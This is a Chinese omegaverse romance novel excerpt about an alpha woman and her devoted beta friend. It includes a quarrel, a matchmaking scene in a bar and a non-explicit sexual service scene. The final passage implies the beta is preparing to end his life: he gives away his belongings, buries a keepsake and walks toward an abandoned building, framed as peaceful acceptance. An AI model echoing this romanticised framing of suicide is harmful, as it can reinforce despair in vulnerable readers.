《和直男beta结婚后[GB]》
1. 十年好友
小方桌上,摆着比平时满当的菜。
嫩绿的清炒芦蒿,黄橙橙的荠菜春卷,金花菜炒肉,山药莲藕排骨汤和一笼清蒸的大闸蟹。
都是齐锦雪会很有胃口的菜。
池絮从厨房出来,端来一壶桂花酒,鹅黄澄澈的色泽,漂浮着米黄颗粒。
“这是我自己摘的桂花,做的酿酒,你尝尝好不好喝。”他期待地微笑着。
齐锦雪喝了一口,桂花酒的醇香蔓延,淡淡爽口的气泡感,清甜不腻。
齐锦雪淡淡道:“好喝。”
池絮弯眼笑起来,眼里便蓄满甜澈的酒,似乎有着比桂花酒还好的味道。但其实是无法品尝的。
齐锦雪移开视线,夹起春卷吃。
焦香酥脆,清新爽口。
和他这个人不同,池絮的手艺总是很容易讨得她高兴。
池絮坐在她对面,说起近期的工作。
经营困难的公司为了降本增效,又开除了几名员工,他因此加班时间越拖越晚,好几次凌晨才回家。
好处是补了加班费,收入比从前提高不少。
所以才舍得买大只肥美的大闸蟹。
池絮对着视频里的步骤,一步步学拆螃蟹,慢吞吞地,仔细认真。
桌上的手机里视频标题写着,“三分钟给女朋友拆蟹……”
拆好学着视频里的样子,摆盘成一整只,端到齐锦雪面前。
他微微笑道:“齐锦雪,你吃吧。”
齐锦雪接过螃蟹。
她吃相很优雅,不因时间、地点而有所打折。
冷峭清丽的侧脸,狭长微垂的眼尾扬着生人勿近的弧度,在池絮陈旧的小屋端坐,就是蓬荜生辉的具象化。
池絮端起自己的盘子,重复一遍递给齐锦雪的动作,开玩笑道:“好像在上贡哦。”
煞有介事地双手合十,闭眼虔诚地拜三拜:“神女,神女,保佑我明年年顺顺利利,心想事成。”
齐锦雪:“……”
*
齐锦雪和池絮不是情侣,他们是半路高中同学。
齐锦雪刚转学到一中,便大受欢迎。
人漂亮,成绩好,还是拥有S级信息素的稀有alpha,虽然高冷,却不影响青春期少年们的热情。
翻课本时,掉出情书是常态。
她独来独往,直到高二下学期,身后悄悄多了个小跟班。
然而池絮存在感太低。
一个男beta,无论是成绩还是家世,在卧虎藏龙的一中都不出挑。众人选择性忽视。
至于样貌,有竞争优势但不多。
齐锦雪对他印象最多的是眼睛。
格外明亮干净,乌溜溜蓄着三分无辜的小狗眼,有股笨拙的机灵。
她的视线在这双眼睛上停留超过三秒,他便自不量力地凑上来。
等她放学送她早餐,帮她占讲座的位置,攒钱送她最新版的习题集,给她用墨绿茅草编织小狗,跟背地里蛐蛐她的人吵架被报复错过期末测试……
对此,好友评价:拙劣又廉价的追求手段。
齐锦雪不置可否,摊开手掌,茅草小狗呆呆傻傻躺在掌心。
直到一年后,beta交代他的真实目的:“我可以做齐锦雪的朋友吗。”
齐锦雪突然有种拨开云雾的感觉。
那双看向她的乌黑的眼睛,一直以来都是纯粹的热忱,简单的渴望。
那么之前,是被什么迷惑呢?
齐锦雪沉默不语,池絮欢喜以为她是认可。
是以,一个天之骄女的alpha和一个普通平淡的beta,本该是极少交集的两人,却兜兜转转做了好多年的——至少池絮是这么认为的——朋友。
碟子里还剩几根芦蒿,齐锦雪夹起来吃掉。
“喵呜~”
橘猫干瘦的脸在她眼前放大。
小猫瘦骨嶙峋,脸上的毛被剃秃了一块,营养不良的样子,身上的毛却蓬松干净。
腿上缠着绷带,蔫头搭脑的,看到齐锦雪不知哪来的力气,凶巴巴地喵了一声,挣扎着挥舞前爪。
齐锦雪漂亮的眉头轻拧,不怒自威。
小猫更加喵呜喵呜地奋力瞪腿。
“贝儿,乖乖。”池絮安抚小猫的情绪。
上个月某个雨天,池絮在路边捡到这只受伤的小猫,带到医院看病检查,前前后后用光一个月的工资。
带回家后,房东不准养,他连夜搬到城中村。
不仅通勤时间变长,住房环境脏乱差,下雨漏雨,刮风漏风。
唯一算得上“好处”的是,房租只用了几乎从前的一半。
池絮很高兴,认为既帮小猫安了家,还降了房租,深感自己幸运,夸小猫是他的福星。
自欺欺人的阿Q精神已让他发挥的炉火纯青。
男人抱着猫往齐锦雪眼前举了举。
“贝儿,齐锦雪是好人,不会伤害你。”
“你摸一摸贝儿吧,很可爱的。”
她象征性地摸了两下小猫后背,指腹沾上两根猫毛。
小猫低声呼噜,警告。
她放下手,温温和和微笑:“好了,拿走吧。”
池絮没有按照她说的做,欲言又止。
男人的眼睛睁圆了些,和橘猫一样的猫相。
唇瓣抿起微微下搭的唇角给那张不太聪明的脸更添几分无辜好欺。
他支支吾吾道:“齐锦雪,我这周末要回趟老家,你可以帮我照顾贝儿两天吗?它的腿还没有恢复……”
齐锦雪淡淡拒绝:“不行。”
“我在A市没有其他朋友,除了你,没有人能帮我照顾贝儿了。贝儿很乖的。”
“不能放宠物店?”
“费用好高,”男人窘迫道,“我刚交了半年的房租……”
齐锦雪没说话。
这种程度的沉默,很少会有人继续说下去,偏偏池絮对她,在某些事情上向来很没有边界感。
“贝儿很乖很好照顾的,后天下午我就回来了,接她回去,”池絮双手合十,祈求,“我帮你打扫房子好吗。”
*
齐锦雪不喜欢家里进陌生人。
池絮在做家务上天赋异禀,他为了回报她随手的帮助,经常自告奋勇地为她做些力所能及的事。
清洁就是其中之一,以维持两人友情交往中他自以为的平衡。
池絮放下航空箱,到陌生环境,猫咪凶巴巴叫了几声。
齐锦雪靠在沙发上,扫去一眼,小猫立即缩起脑袋。
“我只能把她
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养在客房,如果她做出不卫生的事,我会第一时间把她丢出去。”
贝儿像是听懂了她的话,垂着耳朵,趴在带来的软垫上。
喉咙里依旧是发出呼噜呼噜的声音,不服气又不得不屈服主人威严。
池絮在一猫一人间打圆场,顺着橘猫的毛。
“贝儿,齐锦雪是嘴硬心软的好人,你不要记仇。”
齐锦雪眉头微挑。他总是一厢情愿。
池絮收拾好猫咪用品,玩具、猫砂盆、铲子……每个东西都用袋子单独包一次,再找旧的袋子包装一次。
小猫咪不知道发生了什么,大约以为池絮要送她走,拖着缠着绷带的腿蹭着池絮喵喵叫。
池絮还要分神安抚它。
齐锦雪抱起橘猫,用力在猫头上摸了两下。
橘猫挣扎,不仅没有得到男人解救,反被劝慰和齐锦雪好好相处。
它认命地趴在齐锦雪的怀里,不再乱动。
卧室的雪纳瑞听到声音,摇着尾巴跑出来。
雪宝对池絮并不陌生,池絮每次来,都会给他带零食。
他格外亲近池絮。
这次也不例外,池絮给他带了罐头。雪宝扑到池絮身上舔他。
“雪宝,乖,过来吃罐头。”
拆开罐头放在地上,雪宝欢快地摇着尾巴吃起来。
池絮温声细语跟雪宝说话:“雪宝,我给你带了一只猫咪妹妹,会打扰你两天好吗,帮我照顾一下贝儿。”
他抱过贝儿,小猫龇着牙,屁股往池絮怀里钻。
雪宝舔了舔贝儿的脑袋,释放善意。
这回贝儿不仅龇牙咧嘴,还炸毛。
嘿嘿。
雪宝憨笑掩饰尴尬。
半小时后,贝儿终于放松,但还是抱着警惕,在距离雪宝一米的地方啃冻干。
池絮开始摆放贝儿的一应物品。
雪宝跟着他忙前忙后,帮没帮上忙不重要,重在参与。
摆好了,池絮开始打扫卫生,齐锦雪在客厅办公。
阳光斜斜洒进客厅,在地板边缘,投下一块块斑驳的光影。
池絮忙碌的身影走来走去,光影随之闪烁。
齐锦雪修长的手指在键盘上飞舞,偶尔停下思索片刻,继续投入工作。
静谧又热闹的午后。
池絮打扫的动作很轻,几乎没有发出声音。
擦完茶几,熟练地收纳齐锦雪的一应物件,把放乱的东西归位。
他比物件主人更清楚东西放在哪里,更符合她的习惯。
烧的茶水好了,给齐锦雪续完茶,开始拖地。
清洁沙发底时,跪趴着伸直手臂,露出一截劲瘦白皙的腰,腰深深塌下去,微微撅起屁股。丝毫没有意识到自己的姿势在有心人的眼里多么危险。
齐锦雪端起水,轻抿一口,滋润泛干的唇:“你周末回老家做什么?”
吭哧吭哧扫干净沙发底下的灰尘,池絮直起身,微喘气。
不小的体力劳动,使得他皮肤浮起淡淡的绯色,眼睛被汗洗得晶亮,落入他眼中的阳光显得金闪闪的。
有点晃眼。
他温吞吞回答:“妈妈给我找了个相亲对象,让我回去看一下。”
齐锦雪微醺的眼神冷淡下来。
2. 差异
“相亲?”
“嗯,是的,”池絮微微弯唇,“我最近升职了嘛,在A市相亲市场竞争力不够,但在我老家应该还是有一两个的。”
语气羞涩却略显骄傲的轻快。
齐锦雪面色冷淡,视线落在男人一张一合的唇上。
絮絮叨叨地让人心烦。
咬上去,他会不会知道闭嘴。
池絮微微皱眉:“不知道年底能不能脱单,明年开春我就二十六了。”
“我高中同桌的小孩,都这么高了,”他比划了一个齐腰的高度,“说话做事已经有小大人的影子了,很可爱。”
“要是这次相到了合适的对象,明年结婚,最快后年才能有宝宝。到时候我都二十八了……”
池絮掰着手指头数着,晚婚晚育的未来,让他很苦恼。
齐锦雪知道,在他的观念里,他大学毕业,就应该积极响应帝国的婚育号召,立马结婚生子。
他的基本信息早就挂到了婚恋网站上,然而问津者寥寥。
毕竟外表隽秀、颇具书卷气的男性beta,天然地给人不能依靠的刻板印象,家世又谈不上亮眼。
还有最重要的一点,在性取向上,池絮传统地近乎封建。
用齐锦雪好友的话来说就是,他简直是从古蓝星留存至今的化石男人,人类第二性征的进化,没有进化他的取向。
——池絮只喜欢女性omega或者女性beta。
择偶圈更一步缩窄,导致池絮单身至今。
齐锦雪的手放在桌上,轻轻敲击着桌面。
“你母亲是个赌鬼,乡下唯一的房子十几年没有修缮,还漏风漏雨。就算你升为小公司管理,到手月薪不过七八千。有人看得上你?”
温和冷淡地叙述着一件事实,未带一丝偏颇。
但对于听的人而言,每一句话都漏出锐利,像一团温柔的雪握紧时突然扎出荆棘。
池絮擦地板的动作一僵,面色微白。
齐锦雪偶尔流露出来的,温和但直白的刻薄,这种感受,无论经历过多少次,都习惯不了。
顿了顿,他才继续手上的动作,低声反驳:“我也没有那么差劲吧……”
“我妈妈已经改了,最近她在乡下种地,攒了一笔钱,打算把房子修一下。”
“我条件是没有你那些追求者那么优秀,但是找一个踏实的妻子,互相扶持,共同努力,前景也没有那么悲观吧。”
齐锦雪慢条斯理道:“如果是你女儿,你放心她跟你这种男人在一起?”
“你的工资,养只猫都抠抠搜搜,更何况孩子。”
“养孩子可不是只给它一口吃的不饿死就行。孩子的成长、学习、就业……都需要想。”
“自己的生活都过得一团糟,却想生个孩子寄托感情,改变命运?”
齐锦雪冷淡又锐利的目光,如破空的利剑,扎在池絮摇摇欲坠的自尊上,提醒他现实和理想的差距。
池絮哑声,不知从哪反驳。
围裙勾勒出他清瘦的腰,影子被夕阳拉长了,身影显得越发单薄软弱。
他捏着抹布揉搓,垂着头,刘海半遮眉眼,眼尾微红。
齐锦雪道:“还爱哭。”
“我没有。”池絮擦了擦眼睛,徒劳辩解。
他背过身,给自己足够的时间消化掉利刺,才有力气继续擦地板。
齐锦雪虽然说话向来不假辞色,但不是毫无情商。今天这种直晃晃、令人避之不及的难堪,十分少见。
他迟钝至此,都被其中的恶意猝不及防伤到。
难道因为生活拮据,连拥有家庭的资格都没有吗。
他会尽最大程度的努力改善未来的家庭生活,提前做过不少方向的避险规划。
没有太优渥的物质条件,但会付出全部的爱和耐心。
品德没有很坏吧。
况且,以前齐锦雪看到路边等环卫工父母下班的小孩,还说过“家里有爱最重要”这样的话,不是全然以物质论婚姻。
为什么轮到他就表现出强烈的排斥。
说到底,大约很看不上他。
“你这种男人”。
想到这句评价,池絮不免难过又挫败。
他背对着齐锦雪,飞速擦地板,很忙的样子,不想和齐锦雪继续话题,以表达自己的抗议。
然而坏脾气是有限的。
收拾完家务,池絮那点脾气很快散了,忍不住说起他的妈妈。
这是近期除了工作,另一件让池絮很顺心的事了。
池絮原本有个大哥,小时候两人去水里玩,大哥为了救他溺水身亡。
自那之后池母变性情大变,酗酒、家暴后来更是染上赌博。
他十一岁就担起养家的责任,早上五点起床,做好一天的饭去上学,晚上打完工回来。
奖学金是他唯一高额的赚钱渠道,便努力学习,考试成绩下落一点都会做噩梦惊醒。
从家乡考到主星的重点中学,发现人外有人天外有天,他的成绩赚不到奖学金了,但在这里,除了学校还有别的赚钱机会。
他没有很好的赚钱头脑,本本分分地做着常年招学生工的兼职。
于是噩梦从成绩下降变成做坏蛋糕、打碎杯子。
考来时学费全免,课外做兼职,池絮倒比在家乡时手里还宽裕。
母亲要钱的行为从他十一岁就没有断过。
池絮从十一岁到二十岁跌跌撞撞无数次,才从全盘托出学会了留有后路,从母亲要两次钱给一次到要四次给一次。
工作到现在,他有了回报母亲更有效的办法——不再接她电话,把钱全部换成食品日用品,尽管有时候还是抵不住母亲的哭诉,忍不住给了她钱。
不过最近三个月,母亲没有跟他要一分钱,前几天还打电话来说,要告别过往,重新振作。
希望池絮能尽快成家,一家人和和美美过日子。
“一家人住在一起,心都在一处,其乐融融,多好啊。”
只是幻想,池絮就感到自己被幸福包围了。
齐锦雪翻着书,淡淡道:“赌鬼会这么容易改变?保不齐她喊你回家,是把你送去搞电诈。”
“不会的,”池絮快速反驳,由于激动鼻尖冒出细密的汗珠,“妈妈才不会做这种事,你对她的偏见太深了。”
齐锦雪说:“人逼急了什么都做得出来,哪管你远近亲疏,手足相残,父子反目的事可不少。”
“我妈妈不是那种人。”池絮急道。
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>齐锦雪放下书,看向池絮,微微笑着:“好啊,那请你滚出去,去找你妈妈吧。”
池絮吓了一跳。
齐锦雪竟然说脏话了,是很生气了?
这些年,虽然有时候池絮不知道齐锦雪在气什么,但对她怒气的等级却摸得清楚。
齐锦雪生气共有三级。
一级,面无表情,语气冷淡。
二级,语言系统混乱,敬语脏话混用,生理惯性和修养左右脑互搏,像现在这样。
三级,表情和动作一起的动怒,池絮只是见过,还没触发过。
和她认识这么久,她统共没见过她几次生气到二级。
看来他家里的情况真是罪恶之至,叫齐锦雪厌恶反感。
明知不该继续说下去。
他却分不清到底是替母亲叫屈,还是不想让自己在齐锦雪面前那样糟糕透顶。
他着急辩解:“我妈妈是颓废过一段时间,但那是受我大哥去世打击,她现在改了,难道不能给她一个机会吗。”
齐锦雪面无表情。周围气压骤降。
下一秒,他被不由分说推出门。
嘭。
雕花门在眼前用力关上,差点撞扁池絮鼻子。
门关上前,齐锦雪冷漠的表情,令池絮本能慌乱。
“齐锦雪!”池絮急了,立即妥协,“你别生气,我以后不跟你提她了。”
他们观点不同,不多说就好了嘛,为什么忍不住多嘴呢。
池絮这会有些后悔。
他拍着门:“齐锦雪你开门,我还没有给你做晚饭呢。”
回应他的是重物砸上门掉下去碎裂的声音,不知道是哪个倒霉花瓶遭殃了。
对了,他有齐锦雪家的密码!
池絮赶紧输入密码。
密码输入成功了,门却没有如愿打开。
齐锦雪在里面手动反锁了。
池絮急得原地转圈,忽然想到什么:“齐锦雪,我的衣服还没拿,让我进去拿衣服好吧。”
紧闭的门重新打开,外套扔了出来,他还没来得及看到齐锦雪的脸,门又重重关上。
周围又恢复安静。
池絮呆呆地看着紧闭的门,睫毛泛起潮意。
十一岁之前母亲有爱过他的。
那时候他有哥哥、有母亲,日子清苦,却很富足。
是他一生里很珍贵的快乐时光。
他只是想握住这点少得可怜的温暖而已。
“齐锦雪,你什么都有,所以你眼里容不得沙子。你不会懂,对于我这种本身就拥有得很少的人来说,只是这样就够珍贵了。”
声音没有很大,已经是他鼓起勇气的音量。不知里面的人是否听见。
池絮擦擦眼睛,不敢多留。
万一齐锦雪一气之下出来,说出什么和他这种没有骨气的人,断交一辈子的话,那可就天塌了。
嘭。
池絮离开后,门内的花瓶又碎了一个。
女人清冷的眸子微眯,眼底仿若凝着千年寒霜。
她不懂?她只是不想做垃圾桶,什么都搂到怀里而已。
贝儿蹲门口探头探脑,齐锦雪冷冷看去。
雪宝扒着贝儿回屋,举起爪子啪地关上门。
3. 引荐
酒吧。
昏黄的光线静静流淌,中央舞台上,男omega低声浅唱,声色撩人。
齐锦雪倚坐在沙发里,指尖摩挲着杯沿,幽蓝色的调酒,在光影中闪烁着细碎的光芒。
梅洛端着一杯酒,在她旁边坐下。
“那天我去看望齐阿姨,林叔叔让我多劝劝你找个合适的对象呢。”
梅洛用手肘戳了戳齐锦雪:“怎么,还没有满意的吗?”
她和梅洛从小一起长大,彼此交心,两家父母也是世交,关系亲如一家。
如果梅洛是omega,两家都会定下娃娃亲。
齐锦雪淡淡道:“没有。”
梅洛撑着下巴,明艳的杏眸打量着齐锦雪:“我来猜猜……”
“你该不会还想着池絮吧?那个跟屁虫。”
齐锦雪眼前一闪而过池絮的脸。
池絮回到家后,就没有和她联系了。
早已过了周末,他还没有回音,大概在老家的相亲很顺利。
或许直接订完婚再回来也说不定。
齐锦雪微微皱眉,一饮而尽杯里的酒。
梅洛撇撇嘴:“我不明白,你既然喜欢,追来就是了,那种人让你为难到现在吗。”
“人就是这样,越是得不到越想,你得到了也就释然了。”
她并不清楚齐锦雪对池絮的感情投入程度,只是从齐锦雪默许池絮跟在她身边时,才察觉出来那么点意思。
但是这么多年过去,齐锦雪除了这点默许,对池絮也没有其他更特别的对待。
所以她觉得,齐锦雪对池絮应该是有点意思,但不多。
齐锦雪笑了笑,道:“算了。”
梅洛理所当然地认为:“也是,那个人虽然看着老实,但大概也很较真,以后甩掉很麻烦。”
“毕竟他还是个beta,难道你能和他结婚不成?”
齐锦雪周围几个亲近的人都知道,她的结婚对象,只能是alpha或者omega,绝不可能是没有信息素的beta。
齐锦雪敷衍地应了一声,看着舞台上的表演。
她的思绪还停留在梅洛的“那种人让你为难到现在吗”上。
……所以,她是在为池絮为难?
但怎么会呢?
池絮不是个会让人为难的人。
他有一张标准的老好人脸,温柔的眼型,经过命运的打磨,眼神已经自然流露出认命感。
一群人里不得不挑出个大冤种,池絮绝对第一个被挑出来。
即使受到不公正对待,他也只会困惑地发呆,过后轻轻叹口气,自我安慰。
就算不是他,也会有别人。
这样的人,就算别人的请求被拒绝,跟他说几句好话,装装可怜,最后心软妥协的都是他。
池絮很好追。
齐锦雪一直都清楚。
就算他的第二性取向不是alpha又怎样,只要她说几句非他不可的好话哄他,用绝交威胁他,他很快就会缴械投降,任她施为。
没有感情了,也很好摆脱。
给他一个冠冕堂皇的理由,比如不得不接受家里安排的婚姻,再比如告知他她的特殊情况,她最不需要的就是一位beta丈夫之类。
或许他都不会有任何怨念地妥协,离开时还带着对她的同情和祝福。
他的不喜欢、微弱的反抗,很快就会变为忍受,调整自己适应。
就像他无数次面对不喜欢的命运那样。
不够聪明,不够狠心,就连顺应命运,都会被狠狠绊倒在地,摔个大跟头。
适应,被伤害,再重新适应、调整。总有一天会习惯。
这是池絮应对变幻莫测的命运,万能的生存智慧。
池絮是很能吃苦、很不会让人为难的人。
对于她们来说,池絮都是太容易掌握的人了。
梅洛判断的没错。
齐锦雪闭了闭眼。
所以为什么,没有那样做。
是看他的人生太过辛苦,不想让自己也成为他生命里寒冷的风霜。
还是仅仅因为,她对他的喜欢,其实不过如此。
“齐锦雪,看我给你准备了什么!”
梅洛的声音打断了齐锦雪的思绪。
齐锦雪睁开眼。
梅洛拍拍手,满脸兴奋。
五六个男人鱼贯走来,有alpha有omega。
或壮硕或娇柔,他们穿着各种制式的制服造型,扮演各种角色,气质风格迥异。
男仆、西装酷男、小兔子精、小狐狸精……
对着齐锦雪,或明目张胆,或半遮半掩地抛媚眼。
梅洛把男仆omega往前推了一步:“这个,温柔小意俏男仆,怎么样?”
她暧昧道:“红酒味的omega,下得了厅堂,上得了床。”
男仆omega弯下腰,盈盈一鞠躬:“齐姐姐。”
清纯的脸蛋染着红云,柔媚娇羞。
梅洛狂对齐锦雪狂使眼色,眼皮都快抽筋了,齐锦雪还是淡淡的,兴趣缺缺的样子。
梅洛放开omega男仆,推出西装酷哥。
“那这个,西装酷哥,还是A级的alpha,这在整个男模里,都是很稀有的。”
酷哥举举手臂,展示自己的肌肉,同他肌肉一起跳动的,还有胸前的黑色领带。
梅洛激动了,两眼发直:“还是男妈妈!齐锦雪!”
齐锦雪笑了笑:“你看起来比我更需要。”
梅洛贼笑道:“要是你喜欢,我可不跟你抢。”
齐锦雪摆摆手。
“那好吧,这个我自留了。”梅洛指了指酷哥alpha。
她想介绍下一个,齐锦雪捏捏眉心,打断她。
“好了,不用了,我还有事。”
齐锦雪正欲起身,梅洛按住她:“别着急走啊,压轴还没出场呢。”
“我保证,这个绝对让你满意!”梅洛举手发誓,对自己的安排相当有信心。
俨然不给齐锦雪拉到合适的皮条,不让她走的架势。
梅洛打了个响指,周围的灯光暗下来,接着一簇昏暗的白光打在远处。
聚光灯下,出现一道黑色清瘦的剪影。
面光打开,照亮黑影。
是个男omega,他微微侧着身。
裁剪得体的白衬衫,黑色长裤,过耳碎发,随着室内极轻的气流,轻轻拂动着。
齐锦雪漫不经心的目光扫过男omega的侧脸,目光微微一顿。
他转过身,浅浅笑着朝齐锦雪走来。
比起前面的几人,那张脸实在算不得惊艳。
然而随着男omega的走近,梅洛
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的笑容却越来越大,“赌对了”的得意满溢出来。
男omega把手中的玫瑰递给齐锦雪,温声道:“齐总。”
男人轻声做自我介绍,说自己叫颜佑安,家里破产负债百亿,上有生病老母,下有嗷嗷待哺的弟弟妹妹,他不得已下海谋生。
低眉垂眼时,和那个人的眉眼有五分相似。
齐锦雪接过玫瑰花,指腹轻轻摩挲着拔掉刺后光秃秃的茎秆。
“是不是很像那个跟屁虫?”梅洛在她耳边得意道,“而且还是A级的omega。”
“和你的信息素,匹配度高达80%!简直就是你的天选omega嘛!”
梅洛戳了戳齐锦雪,小声地激动道:“有了他,你的病会痊愈都说不定。”
从初中起,齐锦雪就被诊断出患有信息素缺陷症,初期症状仅仅是头疼、失眠。
但是随着时间推移,如果不加以干预,并发症会增加,不限于出现易感期信息素暴走、幻觉等等。
目前医学上,对该病症的研究还充满许多未知。
已知行之有效的治疗途径是,寻找相配的信息素携带者,即omega或alpha,进行信息素安抚治疗。
梅洛说:“他还是第一次,之后要是觉得合适,你娶回家,阿姨和叔叔都会很高兴的。”
“齐锦雪,以前我不会那么不识趣地催婚你,但这次是80%的匹配度啊。”
梅洛语重心长道:“全帝国能达到这个信息素匹配度的伴侣,不超过20%,错过的话,下一个不知道什么时候才能出现了。”
齐锦雪看着花,没说话。
梅洛摆摆手,让其他人先离开,只留下颜佑安。
颜佑安上前一步,乖巧地蹲在齐锦雪面前,双手覆在她的膝盖上:“齐总,我会很听话的,你想怎么样都可以。”
仰着脸时,双眼显出原本的模样,是一双魅惑的狐狸眼,精明又讨好。
和池絮又很不像。
齐锦雪淡淡看向梅洛,不怒自威:“我怎么不知道,你什么时候和我父母的亲密,多过和我了?”
梅洛的笑容僵在脸上几秒,讪笑:“齐锦雪,你瞎说什么啊,我当然跟你才是最好的。”
“颜家的小儿子,颜佑安,上个月,我那位慈爱的好父亲,打算给我介绍的联姻对象。”
齐锦雪捻碎手里的玫瑰花,丢在桌上,站起身往外走。
梅洛追上来,拦在她面前,十分着急。
“齐锦雪,不是你想的那样!”
“是,他是林叔叔给我引荐的。那天我去你家,无意间看到颜佑安的照片,发现他跟池絮太像了。”
“加上林叔叔说,你对他偏见太深,他给你介绍的对象,你看都不愿意看。”
“我才自作主张,整了今天这出。”
“林叔叔根本不知道池絮,我没跟他说过,他们长得像完全是巧合。”
梅洛做错事的样子:“我就是觉得这样,你才更不应该错过。无论是对你的病情,还是心理蕴藉,他都很合适,不是吗?”
齐锦雪微冷的眉梢缓下来,轻轻叹气:“但是为了这样的原因就选择结婚,对自己的人生,未免显得不够庄重。”
梅洛没有让路的意思:“我不信,难道你没有一点心动?为什么不给你们一次机会?”
齐锦雪看向远处的身影。
4. 再见,齐锦雪
夜晚。
黑色轿车在路上飞驰。
后座,齐锦雪闭眼小憩。
车窗映出她恬淡的脸,像童话故事里的睡美人那样纯洁无害。
只有坐在她不远处的颜佑安才知道事实相反。
80%信息素的匹配度,导致颜佑安对齐锦雪存在的感知,比普通人要强。
尽管她在非易感期的状态,但是密闭的车厢,再加上她自身的强大气场,颜佑安仍旧承受着巨大的精神压力。
来之前的自信,早已消散的无影无踪。
颜家资金链出了问题,已经有半年之久。
原本是搭不上齐家的线,哪想颜佑安有个争气的信息素,竟然和齐锦雪匹配上了。
齐锦雪可是齐家半个掌权人,未来整个齐家都可能会交到她手里。
况且就算未来她和她那位幼妹平分家产,资产都是颜家赶不上的。
颜家起死回生的希望一下子全落到颜佑安身上。
信息素匹配度越高,双方越容易受对方影响。
而omega在面对alpha时,高匹配度的情况下,或许还能略胜alpha一筹。
原本颜佑安是很自信的,80%的匹配度,让齐锦雪对他形成依赖,再因为他对颜家爱屋及乌,他的目的很快就能实现。
真见到齐锦雪,他却不自信了,比起任何理智的判断,生物本能的警觉更直接。
就算到时候,她真受他信息素影响,对他失控,那他绝对也不好过。
颜佑安害怕了。
要是齐锦雪生猛非常,直接永久地标记他。
醒来后,意识到他对她的威胁,把他囚禁起来,不让他接触外界怎么办?
让他不仅要给她治病,还要不断给她生优秀的继承人怎么办?
颜佑安脑子里已经演起来了。
到了地方,司机打开车门,齐锦雪先下车,颜佑安紧随其后。
一阵风吹来,有些冷,在车上和齐锦雪单独呆的这一会,他竟已经出了一身冷汗。
而走在前面的齐锦雪,头发丝似乎都没有变化,依旧冷漠、高不可攀。
到了家,齐锦雪脱下西装外套,顺手递给颜佑安。
颜佑安在家是个被全家宠着的小少爷,一时哪反应过来。
等意识到时,齐锦雪已经转过身,看向他的眼神,一瞬间淡下来。
齐锦雪家里明明一个佣人都没有,却像是被伺候惯了一样。
“我来吧。”颜佑安赶紧伸手接外套。
“没事。”齐锦雪拒绝,脸色淡淡的,似乎并没有因为他的愚钝而不悦。
她自己挂好外套,换好拖鞋。
颜佑安不允许自己第二次犯蠢,他清楚自己来是干什么的,他是来取悦金主的。
她满意了,才有可能留下他,颜家才有希望。
齐锦雪倒了一杯水,坐到沙发上。
看着柜子上的几罐冻干,不知道在想什么。
颜佑安立即跪在她面前,软声道:“齐总,您会对我满意的。”
“我给您,准备了惊喜。”
他垂下眼睛,拉开外套的拉链,露出里面的衣服。
是一套黑色镂空的女仆装,黑色长腿袜,短到约等于无的千层裙摆,腰后缀着大号的粉色蝴蝶结。
齐锦雪的视线焦点,再次短暂地停在他的身上,跟她第一次见到他时一样。
颜佑安受到鼓舞,双手托起她的裙摆。
高高在上的女王,默许了她的恩赐。
然而当他的手想触碰她的衣扣时,齐锦雪一脚踩在颜佑安的肩膀上,把他踩了回去:“这样就够了。”
“是。”
颜佑安恭敬地弯下腰,双手扶上沙发,在限制的范围内答题。
尽管信息素有着高匹配度,并且颜佑安主动释放信息素进行引诱,齐锦雪的信息素都没有丝毫变化。
他纳闷地抬眼,女人冰冷的命令传来:“眼睛,不要抬起来看我。”
颜佑安慌乱地垂下眼,专心答题。
齐锦雪面无波澜,视线虚虚落在前方一点,余光里,蝴蝶结和裙摆晃动着。
眼前的一切,和五天前的场景重合,池絮给她打扫,钻到沙发底时……
她疏冷的眼底,闪过一丝她自己都没有察觉的柔情。
密码锁的按键声响到最后一个时,齐锦雪才从思绪中惊醒。
滴。
门从外面打开,池絮的脸出现在门口,他大口喘着粗气。
齐锦雪侧过脸,正好和池絮对视。
“齐锦雪,我……”
看清室内的情况,他的话卡在喉咙里,满脸错愕。
头发凌乱,额头淤青,衣服脏乱,不知摔到哪个泥坑里爬出来的狼狈样子。
齐锦雪微微皱眉。
颜佑安抬起脸,看向门口。弯起嫣红的唇,笑吟吟问:“齐总,你还喊了其他人?”
他那身女仆装已经皱巴巴的,他展示勋章一样,挑衅地看着门口的男人:
“你就算迟到了,也好歹收拾一下吧?”
长相妩媚,雌雄难辨,身着某类特定服装的omega,无疑是个别恶劣直男良好的遐想对象。
池絮直愣愣地看着颜佑安,被勾了魂一样,半晌没挪开视线。
齐锦雪捞起手边的外套盖在颜佑安身上,她没有回头,对门口的人冷冷道:“出去,把门关上。”
“对、对不起。”池絮慌乱地退到门外,嘭地关上门。
室内属于alpha的信息素尖锐起来,浓郁的冷杉香从四面八方涌来。
颜佑安瘫坐在地,呼吸不畅,冷汗涔涔。
他竭力抬头,看向制造出当下局面的源头。
齐锦雪冰冷的脸,仍然没有明显的喜怒。
信息素却凶得快把他杀掉了。
*
池絮在路上跑着,冷风灌进喉咙,刀割一样地疼。
直到力竭,他瘫坐在路边。
并没有提问过的一个问题,在脑海中浮现出答案。
原来齐锦雪喜欢的omega,是那样的啊。
在齐锦雪家撞见的那一幕,还占据着他的大脑。
那么漂亮、小狐狸一样的omega,和齐锦雪真的很般配。能看到她得到幸福,他也感到了幸福。
齐锦雪一定很喜欢那个omega,喜欢到,连他多看一眼都不可以。
只是,如果见到齐锦雪的最后一面,只是个冷冰冰的背影,多少会很遗憾吧。
可是,他的人生如果没有遗憾,似乎才是最没道理。
池絮接受了命运对他最后时刻的安排,拖着疲惫的身体往回走。
他回到出租屋,没有小猫扑过来,怅然若失的同时,又松了一口气。
贝儿在齐
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锦雪家,一定会过得很好。
他开始收拾自己的东西。
经常搬家的缘故,他没有囤积大件物品的习惯,东西很少。
主要的还是衣服,有不舍得穿的,也有不舍得丢的,都让他放进了垃圾桶。
能捐出去的、或者可回收的,他都打包好,联系了相关的人,放在指定的地点。
跟房东说了退租,留了齐锦雪的号码,如果房东愿意退回一部分房租,就给贝儿当伙食费。
如果不愿意,他也没有精力多纠缠了,自认倒霉。
收拾完屋子,已经到凌晨。
锁上门,池絮离开时,抱走了唯一一个要带走的破旧木盒。
木盒里不是值钱的东西,却是他从离开家读书后,一直带在身边的东西。
里面有太多难以割舍的回忆。
池絮终究不忍心它随便地躺在垃圾桶里。
他抱着木盒,沿着马路走了很久,走到荒凉的郊区。
快到了。
池絮停下脚步,他在一棵大树下,徒手挖了个坑,把木盒埋了进去。
这条路他走过好几次,再拐个弯尽头就是一处废弃大楼。
